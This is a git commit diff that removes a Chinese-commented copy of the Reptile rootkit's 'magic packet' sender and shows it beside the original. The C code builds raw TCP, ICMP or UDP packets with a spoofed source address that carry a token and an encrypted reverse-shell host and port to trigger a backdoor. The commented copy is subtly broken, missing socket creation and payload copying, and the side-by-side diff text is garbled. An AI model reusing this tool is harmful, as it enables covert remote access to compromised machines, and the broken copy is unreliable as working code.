replace last author commit

main^2
waiwai 7 months ago
parent 86e0f5e789
commit a64168b46c

@ -1,477 +0,0 @@
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <termios.h>
#include <unistd.h>
#include "custom_rol32.h"
#include "util.h"
// Don't worry, it is gonna cahnged next version
// 定义常量这些值用于设置IP首部和TCP首部的字段
#define KEY 0x6de56d3b // 加密密钥
#define IPID 3429 // IP标识符
#define SEQ 15123 // TCP序列号
#define WIN 9965 // TCP窗口大小
// 定义一个伪首部结构体用于计算TCP和UDP数据包的校验和
struct pseudohdr {
uint32_t saddr; // 源IP地址
uint32_t daddr; // 目的IP地址
uint8_t zero; // 填充字段总是0
uint8_t protocol; // 协议类型TCP或UDP
uint16_t length; // 长度TCP或UDP首部和数据的总长度
};
// 计算校验和的函数用于IP和TCP/UDP首部
unsigned short csum(unsigned short* buf, int nwords) {
unsigned long sum;
unsigned short odd;
// 将两个字节的校验和相加
for (sum = 0; nwords > 1; nwords -= 2)
sum += *buf++;
// 如果有奇数个字节,将最后一个字节加入校验和
if (nwords == 1) {
odd = 0;
*((unsigned char*)&odd) = *(unsigned char*)buf;
sum += odd;
}
// 将校验和折叠成16位
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
// 返回反码
return ~sum;
}
// 发送TCP数据包的函数
int tcp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) {
// 变量声明
int socktcp, nbytes, ret = EXIT_FAILURE;
unsigned int pckt_tam, plen;
char* buffer;
struct iphdr* iph;
struct tcphdr* tcph;
struct sockaddr_in s;
socklen_t optval = 1;
struct pseudohdr psh;
char* pseudo_packet;
// 计算数据包总长度
pckt_tam = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len;
// 分配内存
if (!(buffer = (char*)malloc(pckt_tam))) {
fatal("on allocating buffer memory");
return ret;
}
// 初始化内存
memset(buffer, '\0', pckt_tam);
// 填充IP首部
iph = (struct iphdr*)buffer;
tcph = (struct tcphdr*)(buffer + sizeof(struct iphdr));
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->id = htons(IPID);
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->tot_len = pckt_tam;
iph->saddr = inet_addr(srcip);
iph->daddr = inet_addr(dstip);
iph->check = csum((unsigned short*)buffer, iph->tot_len);
// 填充TCP首部
tcph->source = htons(srcport);
tcph->dest = htons(dstport);
tcph->seq = 0x0;
tcph->ack_seq = 0;
tcph->doff = 5;
tcph->fin = 0;
tcph->syn = 1;
tcph->rst = 0;
tcph->psh = 0;
tcph->ack = 0;
tcph->urg = 0;
tcph->window = htons(WIN);
tcph->urg_ptr = 0;
tcph->check = 0;
// 构建伪首部用于计算TCP校验和
psh.saddr = inet_addr(srcip);
psh.daddr = inet_addr(dstip);
psh.zero = 0;
psh.protocol = IPPROTO_TCP;
psh.length = htons(sizeof(struct tcphdr) + data_len);
// 计算TCP首部和数据的校验和
plen = sizeof(struct pseudohdr) + sizeof(struct tcphdr) + data_len;
if ((pseudo_packet = malloc(plen)) == NULL) {
fatal("on malloc");
goto close_socket;
}
bzero(pseudo_packet, plen);
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr));
tcph->seq = htons(SEQ);
tcph->check = 0;
memcpy(pseudo_packet + sizeof(struct pseudohdr), tcph, sizeof(struct tcphdr) + data_len);
tcph->check = csum((unsigned short*)pseudo_packet, plen);
// 设置目的地址和端口
s.sin_family = AF_INET;
s.sin_port = htons(dstport);
s.sin_addr.s_addr = inet_addr(dstip);
// 发送数据包
if ((nbytes = sendto(socktcp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package");
// 清理资源
if (nbytes > 0) {
fprintf(stdout, "%s TCP: %u bytes was sent!\n", good, nbytes);
ret = EXIT_SUCCESS;
}
free(pseudo_packet);
close_socket:
close(socktcp);
free_buffer:
free(buffer);
return ret;
}
// 发送ICMP数据包的函数
int icmp(char* srcip, char* dstip, char* data, unsigned int data_len) {
// 变量声明
int sockicmp, nbytes, ret = EXIT_FAILURE;
unsigned int pckt_tam;
char* buffer;
struct iphdr* iph;
struct icmphdr* icmp;
struct sockaddr_in s;
socklen_t optval = 1;
// 计算数据包总长度
pckt_tam = sizeof(struct iphdr) + sizeof(struct icmphdr) + data_len;
// 分配内存
if (!(buffer = (char*)malloc(pckt_tam))) {
fatal("on allocating buffer memory");
return ret;
}
// 初始化内存
memset(buffer, '\0', pckt_tam);
// 填充IP首部
iph = (struct iphdr*)buffer;
icmp = (struct icmphdr*)(buffer + sizeof(struct iphdr));
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->id = htons(IPID);
iph->ttl = 255;
iph->protocol = IPPROTO_ICMP;
iph->saddr = inet_addr(srcip);
iph->daddr = inet_addr(dstip);
iph->tot_len = pckt_tam;
iph->check = csum((unsigned short*)buffer, iph->tot_len);
// 填充ICMP首部
icmp->type = 8; // ICMP类型回显请求
icmp->code = ICMP_ECHO; // ICMP代码回显请求
icmp->checksum = 0; // 清零校验和字段
icmp->un.echo.id = htons(WIN); // ICMP标识符
icmp->un.echo.sequence = htons(SEQ); // ICMP序列号
// 计算ICMP首部和数据的校验和
icmp->checksum = csum((unsigned short*)icmp, sizeof(struct icmphdr) + data_len);
// 设置目的地址
s.sin_family = AF_INET;
s.sin_addr.s_addr = inet_addr(dstip);
// 发送数据包
if ((nbytes = sendto(sockicmp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package");
// 清理资源
if (nbytes > 0) {
fprintf(stdout, "%s ICMP: %u bytes was sent!\n", good, nbytes);
ret = EXIT_SUCCESS;
}
close_socket:
close(sockicmp);
free_buffer:
free(buffer);
return ret;
}
// 发送UDP数据包的函数
int udp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) {
// 声明变量
int sockudp, nbytes, ret = EXIT_FAILURE; // 用于网络通信的socket发送的字节数返回值
unsigned int pckt_tam, plen; // 数据包长度,伪包长度
char* buffer; // 缓冲区
struct iphdr* iph; // IP头指针
struct udphdr* udph; // UDP头指针
struct sockaddr_in s; // 地址结构
socklen_t optval = 1; // 设置socket选项的值
struct pseudohdr psh; // 伪包头结构
char* pseudo_packet; // 伪包数据指针
// 计算数据包总长度
pckt_tam = sizeof(struct iphdr) + sizeof(struct udphdr) + data_len;
// 分配内存
if (!(buffer = (char*)malloc(pckt_tam))) {
fatal("on allocating buffer memory"); // 分配失败时调用fatal函数
return ret; // 返回失败
}
// 初始化内存
memset(buffer, '\0', pckt_tam); // 将缓冲区清零
// 填充IP首部
iph = (struct iphdr*)buffer; // 将缓冲区的开始部分视为IP头
udph = (struct udphdr*)(buffer + sizeof(struct iphdr)); // IP头后是UDP头
iph->ihl = 5; // IP头长度
iph->version = 4; // IP版本
iph->tos = 0; // 服务类型
iph->id = htons(IPID); // 标识符
iph->ttl = 255; // 生命周期
iph->protocol = IPPROTO_UDP; // 协议类型
iph->tot_len = pckt_tam; // 总长度
iph->saddr = inet_addr(srcip); // 源IP地址
iph->daddr = inet_addr(dstip); // 目的IP地址
iph->check = csum((unsigned short*)buffer, iph->tot_len); // 校验和
// 填充UDP首部
udph->source = htons(srcport); // 源端口
udph->dest = htons(dstport); // 目的端口
udph->len = htons(sizeof(struct udphdr) + data_len); // UDP长度
udph->check = 0; // 校验和初始化为0
// 创建伪包头
psh.saddr = inet_addr(srcip); // 源IP地址
psh.daddr = inet_addr(dstip); // 目的IP地址
psh.zero = 0; // 填充0
psh.protocol = IPPROTO_UDP; // 协议类型
psh.length = htons(sizeof(struct udphdr) + data_len); // UDP长度
// 计算伪包长度
plen = sizeof(struct pseudohdr) + sizeof(struct udphdr) + data_len;
// 分配伪包内存
if ((pseudo_packet = malloc(plen)) == NULL) {
fatal("on malloc"); // 分配失败时调用fatal函数
goto close_socket; // 跳转到关闭socket的标签
}
// 初始化伪包内存
bzero(pseudo_packet, plen); // 清零伪包
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); // 复制伪包头
// 计算UDP校验和
udph->check = 0; // 校验和重置为0
memcpy(pseudo_packet + sizeof(struct pseudohdr), udph, sizeof(struct udphdr) + data_len); // 复制UDP头和数据
udph->check = csum((unsigned short*)pseudo_packet, plen); // 计算校验和
// 设置目的地址
s.sin_family = AF_INET; // 地址族
s.sin_port = htons(dstport); // 目的端口
s.sin_addr.s_addr = inet_addr(dstip); // 目的IP地址
// 发送数据包
if ((nbytes = sendto(sockudp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package"); // 发送失败时调用fatal函数
// 检查发送的字节数
if (nbytes > 0) {
fprintf(stdout, "%s UDP: %u bytes was sent!\n", good, nbytes); // 打印成功消息
ret = EXIT_SUCCESS; // 设置返回值为成功
}
// 释放伪包内存
free(pseudo_packet);
close_socket:
// 关闭socket
close(sockudp);
free_buffer:
// 释放缓冲区内存
free(buffer);
return ret; // 返回结果
}
void usage(char* argv0)
{
// 打印使用说明
fprintf(stderr, "\n\e[01;32mReptile Packet Sender\e[00m\n");
fprintf(stderr, "\e[01;31mWritten by F0rb1dd3n\e[00m\n");
fprintf(stderr, "\nUsage: %s [options]\n\n", argv0);
fprintf(stderr, "-t\tTarget\n");
fprintf(stderr, "-r\tRemote port from magic packets (only for tcp/udp)\n");
fprintf(stderr, "-x\tMagic Packet protocol (tcp/icmp/udp)\n");
fprintf(stderr, "-s\tSource IP address to spoof\n");
fprintf(stderr, "-q\tSource port from magic packets (only for tcp/udp)\n");
fprintf(stderr, "-l\tHost to receive the reverse shell\n");
fprintf(stderr, "-p\tHost port to receive the reverse shell\n");
fprintf(stderr, "-k\tToken to trigger the port-knocking\n");
exit(1); // 退出程序
}
int main(int argc, char** argv)
{
// 声明变量
int opt, dstport, srcport, len, crypt_len;
char* prot, * dstip, * srcip, * connect_back_host, * connect_back_port,
* token, * data;
// 初始化端口变量
dstport = srcport = 0;
// 初始化字符串指针
prot = dstip = srcip = connect_back_host = connect_back_port = token =
NULL;
// 解析命令行参数
while ((opt = getopt(argc, argv, "x:t:l:p:r:s:q:k:")) != EOF) {
switch (opt) {
case 'x':
// 设置协议
prot = optarg;
// 检查协议是否合法
if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
printf("%s wrong protocol\n", bad);
exit(-1);
}
}
}
break;
case 't':
// 设置目标IP
if (strlen(optarg) > 15) {
printf("%s wrong IP address\n", bad);
exit(-1);
}
dstip = optarg;
break;
case 'l':
// 设置连接回显IP
if (strlen(optarg) > 15) {
printf("%s wrong IP address\n", bad);
exit(-1);
}
connect_back_host = optarg;
break;
case 'p':
// 设置连接回显端口
if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
printf("%s wrong port\n", bad);
exit(-1);
}
connect_back_port = optarg;
break;
case 'r':
// 设置远程端口
if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
printf("%s wrong port\n", bad);
exit(-1);
}
dstport = atoi(optarg);
break;
case 's':
// 设置源IP
if (strlen(optarg) > 15) {
printf("%s wrong IP address\n", bad);
exit(-1);
}
srcip = optarg;
break;
case 'q':
// 设置源端口
if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
printf("%s wrong port\n", bad);
exit(-1);
}
srcport = atoi(optarg);
break;
case 'k':
// 设置令牌
if (strlen(optarg) > 16 || strlen(optarg) < 5) {
printf("%s wrong size of token\n", bad);
exit(-1);
}
token = optarg;
break;
default:
// 打印使用说明
usage(argv[0]);
break;
}
}
// 检查必要的参数是否已设置
if (prot == NULL || dstip == NULL || srcip == NULL ||
connect_back_host == NULL || connect_back_port == NULL ||
token == NULL) {
usage(argv[0]);
}
// 检查端口参数
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "udp") == 0 ||
strcmp(prot, "TCP") == 0 || strcmp(prot, "UDP") == 0) {
if (srcport == 0 || dstport == 0)
usage(argv[0]);
}
// 计算数据长度
len = strlen(token) + strlen(connect_back_host) + strlen(connect_back_port) + 3;
crypt_len = strlen(connect_back_host) + strlen(connect_back_port) + 2;
data = (char*)malloc(len);
// 检查内存分配
if (!data)
fatal("malloc");
// 初始化数据
bzero(data, len);
snprintf(data, len, "%s %s %s", token, connect_back_host, connect_back_port);
do_encrypt(data + strlen(token) + 1, crypt_len, KEY); // 加密数据
// 根据协议发送数据包
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
tcp(srcip, dstip, srcport, dstport, data, len);
}
else if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
icmp(srcip, dstip, data, len);
}
else if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
udp(srcip, dstip, srcport, dstport, data, len);
}
// 释放内存
free(data);
return EXIT_SUCCESS; // 返回成功
}

@ -21,444 +21,457 @@
#include "util.h" #include "util.h"
// Don't worry, it is gonna cahnged next version // Don't worry, it is gonna cahnged next version
#define KEY 0x6de56d3b // 定义常量这些值用于设置IP首部和TCP首部的字段
#define IPID 3429 #define KEY 0x6de56d3b // 加密密钥
#define SEQ 15123 #define IPID 3429 // IP标识符
#define WIN 9965 #define SEQ 15123 // TCP序列号
#define WIN 9965 // TCP窗口大小
struct pseudohdr
{ // 定义一个伪首部结构体用于计算TCP和UDP数据包的校验和
uint32_t saddr; struct pseudohdr {
uint32_t daddr; uint32_t saddr; // 源IP地址
uint8_t zero; uint32_t daddr; // 目的IP地址
uint8_t protocol; uint8_t zero; // 填充字段总是0
uint16_t length; uint8_t protocol; // 协议类型TCP或UDP
uint16_t length; // 长度TCP或UDP首部和数据的总长度
}; };
unsigned short csum(unsigned short *buf, int nwords) // 计算校验和的函数用于IP和TCP/UDP首部
{ unsigned short csum(unsigned short* buf, int nwords) {
unsigned long sum; unsigned long sum;
unsigned short odd; unsigned short odd;
for (sum = 0; nwords > 1; nwords-=2) // 将两个字节的校验和相加
sum += *buf++; for (sum = 0; nwords > 1; nwords -= 2)
sum += *buf++;
if (nwords == 1) { // 如果有奇数个字节,将最后一个字节加入校验和
odd = 0; if (nwords == 1) {
*((unsigned char *)&odd) = *(unsigned char *)buf; odd = 0;
sum += odd; *((unsigned char*)&odd) = *(unsigned char*)buf;
} sum += odd;
}
sum = (sum >> 16) + (sum & 0xffff); // 将校验和折叠成16位
sum += (sum >> 16); sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum; // 返回反码
return ~sum;
} }
int tcp(char *srcip, char *dstip, unsigned int srcport, unsigned int dstport, char *data, unsigned int data_len) // 发送TCP数据包的函数
{ int tcp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) {
int socktcp, nbytes, ret = EXIT_FAILURE; // 变量声明
unsigned int pckt_tam, plen; int socktcp, nbytes, ret = EXIT_FAILURE;
char *buffer; unsigned int pckt_tam, plen;
struct iphdr *iph; char* buffer;
struct tcphdr *tcph; struct iphdr* iph;
struct sockaddr_in s; struct tcphdr* tcph;
socklen_t optval = 1; struct sockaddr_in s;
struct pseudohdr psh; socklen_t optval = 1;
char *pseudo_packet; struct pseudohdr psh;
char* pseudo_packet;
pckt_tam = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len;
// 计算数据包总长度
if (!(buffer = (char *)malloc(pckt_tam))) { pckt_tam = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len;
fatal("on allocating buffer memory");
return ret; // 分配内存
} if (!(buffer = (char*)malloc(pckt_tam))) {
fatal("on allocating buffer memory");
memset(buffer, '\0', pckt_tam); return ret;
}
iph = (struct iphdr *)buffer;
tcph = (struct tcphdr *)(buffer + sizeof(struct iphdr)); // 初始化内存
memset(buffer, '\0', pckt_tam);
if ((socktcp = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) {
fatal("on creating TCP socket"); // 填充IP首部
goto free_buffer; iph = (struct iphdr*)buffer;
} tcph = (struct tcphdr*)(buffer + sizeof(struct iphdr));
iph->ihl = 5;
if (setsockopt(socktcp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) { iph->version = 4;
fatal("on setsockopt"); iph->tos = 0;
goto close_socket; iph->id = htons(IPID);
} iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
memcpy((buffer + sizeof(struct iphdr) + sizeof(struct tcphdr)), data, data_len); iph->tot_len = pckt_tam;
iph->saddr = inet_addr(srcip);
iph->ihl = 5; iph->daddr = inet_addr(dstip);
iph->version = 4; iph->check = csum((unsigned short*)buffer, iph->tot_len);
iph->tos = 0;
iph->id = htons(IPID); // 填充TCP首部
iph->ttl = 255; tcph->source = htons(srcport);
iph->protocol = IPPROTO_TCP; tcph->dest = htons(dstport);
iph->tot_len = pckt_tam; tcph->seq = 0x0;
iph->saddr = inet_addr(srcip); tcph->ack_seq = 0;
iph->daddr = inet_addr(dstip); tcph->doff = 5;
tcph->fin = 0;
//iph->check = csum((unsigned short *)buffer, sizeof(struct iphdr) + sizeof(struct tcphdr)); tcph->syn = 1;
iph->check = csum((unsigned short *)buffer, iph->tot_len); tcph->rst = 0;
tcph->psh = 0;
tcph->source = htons(srcport); tcph->ack = 0;
tcph->dest = htons(dstport); tcph->urg = 0;
tcph->seq = 0x0; tcph->window = htons(WIN);
tcph->ack_seq = 0; tcph->urg_ptr = 0;
tcph->doff = 5; tcph->check = 0;
tcph->fin = 0;
tcph->syn = 1; // 构建伪首部用于计算TCP校验和
tcph->rst = 0; psh.saddr = inet_addr(srcip);
tcph->psh = 0; psh.daddr = inet_addr(dstip);
tcph->ack = 0; psh.zero = 0;
tcph->urg = 0; psh.protocol = IPPROTO_TCP;
tcph->window = htons(WIN); psh.length = htons(sizeof(struct tcphdr) + data_len);
tcph->urg_ptr = 0;
tcph->check = 0; // 计算TCP首部和数据的校验和
plen = sizeof(struct pseudohdr) + sizeof(struct tcphdr) + data_len;
psh.saddr = inet_addr(srcip); if ((pseudo_packet = malloc(plen)) == NULL) {
psh.daddr = inet_addr(dstip); fatal("on malloc");
psh.zero = 0; goto close_socket;
psh.protocol = IPPROTO_TCP; }
psh.length = htons(sizeof(struct tcphdr) + data_len); bzero(pseudo_packet, plen);
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr));
plen = sizeof(struct pseudohdr) + sizeof(struct tcphdr) + data_len; tcph->seq = htons(SEQ);
tcph->check = 0;
if ((pseudo_packet = malloc(plen)) == NULL) { memcpy(pseudo_packet + sizeof(struct pseudohdr), tcph, sizeof(struct tcphdr) + data_len);
fatal("on malloc"); tcph->check = csum((unsigned short*)pseudo_packet, plen);
goto close_socket;
} // 设置目的地址和端口
s.sin_family = AF_INET;
bzero(pseudo_packet, plen); s.sin_port = htons(dstport);
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); s.sin_addr.s_addr = inet_addr(dstip);
tcph->seq = htons(SEQ); // 发送数据包
tcph->check = 0; if ((nbytes = sendto(socktcp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
memcpy(pseudo_packet + sizeof(struct pseudohdr), tcph, sizeof(struct tcphdr) + data_len); fatal("on sending package");
tcph->check = csum((unsigned short *)pseudo_packet, plen);
// 清理资源
s.sin_family = AF_INET; if (nbytes > 0) {
s.sin_port = htons(dstport); fprintf(stdout, "%s TCP: %u bytes was sent!\n", good, nbytes);
s.sin_addr.s_addr = inet_addr(dstip); ret = EXIT_SUCCESS;
}
if ((nbytes = sendto(socktcp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package"); free(pseudo_packet);
if (nbytes > 0) {
fprintf(stdout, "%s TCP: %u bytes was sent!\n", good, nbytes);
ret = EXIT_SUCCESS;
}
free(pseudo_packet);
close_socket: close_socket:
close(socktcp); close(socktcp);
free_buffer: free_buffer:
free(buffer); free(buffer);
return ret; return ret;
} }
int icmp(char *srcip, char *dstip, char *data, unsigned int data_len) // 发送ICMP数据包的函数
{ int icmp(char* srcip, char* dstip, char* data, unsigned int data_len) {
int sockicmp, nbytes, ret = EXIT_FAILURE; // 变量声明
unsigned int pckt_tam; int sockicmp, nbytes, ret = EXIT_FAILURE;
char *buffer; unsigned int pckt_tam;
struct iphdr *iph; char* buffer;
struct icmphdr *icmp; struct iphdr* iph;
struct sockaddr_in s; struct icmphdr* icmp;
socklen_t optval = 1; struct sockaddr_in s;
socklen_t optval = 1;
pckt_tam = (sizeof(struct iphdr) + sizeof(struct icmphdr) + data_len);
// 计算数据包总长度
if (!(buffer = (char *)malloc(pckt_tam))) { pckt_tam = sizeof(struct iphdr) + sizeof(struct icmphdr) + data_len;
fatal("on allocating buffer memory");
return ret; // 分配内存
} if (!(buffer = (char*)malloc(pckt_tam))) {
fatal("on allocating buffer memory");
memset(buffer, '\0', pckt_tam); return ret;
}
iph = (struct iphdr *)buffer;
icmp = (struct icmphdr *)(buffer + sizeof(struct iphdr)); // 初始化内存
memset(buffer, '\0', pckt_tam);
if ((sockicmp = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) {
fatal("in creating raw ICMP socket"); // 填充IP首部
goto free_buffer; iph = (struct iphdr*)buffer;
} icmp = (struct icmphdr*)(buffer + sizeof(struct iphdr));
iph->ihl = 5;
if (setsockopt(sockicmp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) { iph->version = 4;
fatal("in setsockopt"); iph->tos = 0;
goto close_socket; iph->id = htons(IPID);
} iph->ttl = 255;
iph->protocol = IPPROTO_ICMP;
memcpy((buffer + sizeof(struct iphdr) + sizeof(struct icmphdr)), data, data_len); iph->saddr = inet_addr(srcip);
iph->daddr = inet_addr(dstip);
iph->ihl = 5; iph->tot_len = pckt_tam;
iph->version = 4; iph->check = csum((unsigned short*)buffer, iph->tot_len);
iph->tos = 0;
iph->id = htons(IPID); // 填充ICMP首部
iph->ttl = 255; icmp->type = 8; // ICMP类型回显请求
iph->protocol = IPPROTO_ICMP; icmp->code = ICMP_ECHO; // ICMP代码回显请求
iph->saddr = inet_addr(srcip); icmp->checksum = 0; // 清零校验和字段
iph->daddr = inet_addr(dstip); icmp->un.echo.id = htons(WIN); // ICMP标识符
iph->tot_len = pckt_tam; icmp->un.echo.sequence = htons(SEQ); // ICMP序列号
iph->check = csum((unsigned short *)buffer, iph->tot_len);
// 计算ICMP首部和数据的校验和
icmp->type = 8; icmp->checksum = csum((unsigned short*)icmp, sizeof(struct icmphdr) + data_len);
icmp->code = ICMP_ECHO;
icmp->checksum = 0; // 设置目的地址
icmp->un.echo.id = htons(WIN); s.sin_family = AF_INET;
icmp->un.echo.sequence = htons(SEQ); s.sin_addr.s_addr = inet_addr(dstip);
icmp->checksum = csum((unsigned short *)icmp, sizeof(struct icmphdr) + data_len); // 发送数据包
if ((nbytes = sendto(sockicmp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
s.sin_family = AF_INET; fatal("on sending package");
s.sin_addr.s_addr = inet_addr(dstip);
// 清理资源
if ((nbytes = sendto(sockicmp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1) if (nbytes > 0) {
fatal("on sending package"); fprintf(stdout, "%s ICMP: %u bytes was sent!\n", good, nbytes);
ret = EXIT_SUCCESS;
if (nbytes > 0) { }
fprintf(stdout, "%s ICMP: %u bytes was sent!\n", good, nbytes);
ret = EXIT_SUCCESS;
}
close_socket: close_socket:
close(sockicmp); close(sockicmp);
free_buffer: free_buffer:
free(buffer); free(buffer);
return ret; return ret;
} }
int udp(char *srcip, char *dstip, unsigned int srcport, unsigned int dstport, char *data, unsigned int data_len) // 发送UDP数据包的函数
{ int udp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) {
int sockudp, nbytes, ret = EXIT_FAILURE; // 声明变量
unsigned int pckt_tam, plen; int sockudp, nbytes, ret = EXIT_FAILURE; // 用于网络通信的socket发送的字节数返回值
char *buffer; unsigned int pckt_tam, plen; // 数据包长度,伪包长度
struct iphdr *iph; char* buffer; // 缓冲区
struct udphdr *udph; struct iphdr* iph; // IP头指针
struct sockaddr_in s; struct udphdr* udph; // UDP头指针
socklen_t optval = 1; struct sockaddr_in s; // 地址结构
struct pseudohdr psh; socklen_t optval = 1; // 设置socket选项的值
char *pseudo_packet; struct pseudohdr psh; // 伪包头结构
char* pseudo_packet; // 伪包数据指针
pckt_tam = sizeof(struct iphdr) + sizeof(struct udphdr) + data_len;
// 计算数据包总长度
if (!(buffer = (char *)malloc(pckt_tam))) { pckt_tam = sizeof(struct iphdr) + sizeof(struct udphdr) + data_len;
fatal("on allocating buffer memory");
return ret; // 分配内存
} if (!(buffer = (char*)malloc(pckt_tam))) {
fatal("on allocating buffer memory"); // 分配失败时调用fatal函数
memset(buffer, '\0', pckt_tam); return ret; // 返回失败
}
iph = (struct iphdr *)buffer;
udph = (struct udphdr *)(buffer + sizeof(struct iphdr)); // 初始化内存
memset(buffer, '\0', pckt_tam); // 将缓冲区清零
if ((sockudp = socket(PF_INET, SOCK_RAW, IPPROTO_UDP)) == -1) {
fatal("on creating UDP socket"); // 填充IP首部
goto free_buffer; iph = (struct iphdr*)buffer; // 将缓冲区的开始部分视为IP头
} udph = (struct udphdr*)(buffer + sizeof(struct iphdr)); // IP头后是UDP头
iph->ihl = 5; // IP头长度
if (setsockopt(sockudp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) { iph->version = 4; // IP版本
fatal("on setsockopt"); iph->tos = 0; // 服务类型
goto close_socket; iph->id = htons(IPID); // 标识符
} iph->ttl = 255; // 生命周期
iph->protocol = IPPROTO_UDP; // 协议类型
memcpy((buffer + sizeof(struct iphdr) + sizeof(struct udphdr)), data, data_len); iph->tot_len = pckt_tam; // 总长度
iph->saddr = inet_addr(srcip); // 源IP地址
iph->ihl = 5; iph->daddr = inet_addr(dstip); // 目的IP地址
iph->version = 4; iph->check = csum((unsigned short*)buffer, iph->tot_len); // 校验和
iph->tos = 0;
iph->id = htons(IPID); // 填充UDP首部
iph->ttl = 255; udph->source = htons(srcport); // 源端口
iph->protocol = IPPROTO_UDP; udph->dest = htons(dstport); // 目的端口
iph->tot_len = pckt_tam; udph->len = htons(sizeof(struct udphdr) + data_len); // UDP长度
iph->saddr = inet_addr(srcip); udph->check = 0; // 校验和初始化为0
iph->daddr = inet_addr(dstip);
iph->check = csum((unsigned short *)buffer, iph->tot_len); // 创建伪包头
psh.saddr = inet_addr(srcip); // 源IP地址
udph->source = htons(srcport); psh.daddr = inet_addr(dstip); // 目的IP地址
udph->dest = htons(dstport); psh.zero = 0; // 填充0
udph->len = htons(sizeof(struct udphdr) + data_len); psh.protocol = IPPROTO_UDP; // 协议类型
udph->check = 0; psh.length = htons(sizeof(struct udphdr) + data_len); // UDP长度
psh.saddr = inet_addr(srcip); // 计算伪包长度
psh.daddr = inet_addr(dstip); plen = sizeof(struct pseudohdr) + sizeof(struct udphdr) + data_len;
psh.zero = 0;
psh.protocol = IPPROTO_UDP; // 分配伪包内存
psh.length = htons(sizeof(struct udphdr) + data_len); if ((pseudo_packet = malloc(plen)) == NULL) {
fatal("on malloc"); // 分配失败时调用fatal函数
plen = sizeof(struct pseudohdr) + sizeof(struct udphdr) + data_len; goto close_socket; // 跳转到关闭socket的标签
}
if ((pseudo_packet = malloc(plen)) == NULL) {
fatal("on malloc"); // 初始化伪包内存
goto close_socket; bzero(pseudo_packet, plen); // 清零伪包
} memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); // 复制伪包头
bzero(pseudo_packet, plen); // 计算UDP校验和
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); udph->check = 0; // 校验和重置为0
memcpy(pseudo_packet + sizeof(struct pseudohdr), udph, sizeof(struct udphdr) + data_len); // 复制UDP头和数据
udph->check = 0; udph->check = csum((unsigned short*)pseudo_packet, plen); // 计算校验和
memcpy(pseudo_packet + sizeof(struct pseudohdr), udph, sizeof(struct udphdr) + data_len);
udph->check = csum((unsigned short *)pseudo_packet, plen); // 设置目的地址
s.sin_family = AF_INET; // 地址族
//fprintf(stdout, "UDP Checksum = 0x%x\n", htons(udph->check)); s.sin_port = htons(dstport); // 目的端口
s.sin_addr.s_addr = inet_addr(dstip); // 目的IP地址
s.sin_family = AF_INET;
s.sin_port = htons(dstport); // 发送数据包
s.sin_addr.s_addr = inet_addr(dstip); if ((nbytes = sendto(sockudp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package"); // 发送失败时调用fatal函数
if ((nbytes = sendto(sockudp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package"); // 检查发送的字节数
if (nbytes > 0) {
if (nbytes > 0) { fprintf(stdout, "%s UDP: %u bytes was sent!\n", good, nbytes); // 打印成功消息
fprintf(stdout, "%s UDP: %u bytes was sent!\n", good, nbytes); ret = EXIT_SUCCESS; // 设置返回值为成功
ret = EXIT_SUCCESS; }
}
// 释放伪包内存
free(pseudo_packet); free(pseudo_packet);
close_socket: close_socket:
close(sockudp); // 关闭socket
close(sockudp);
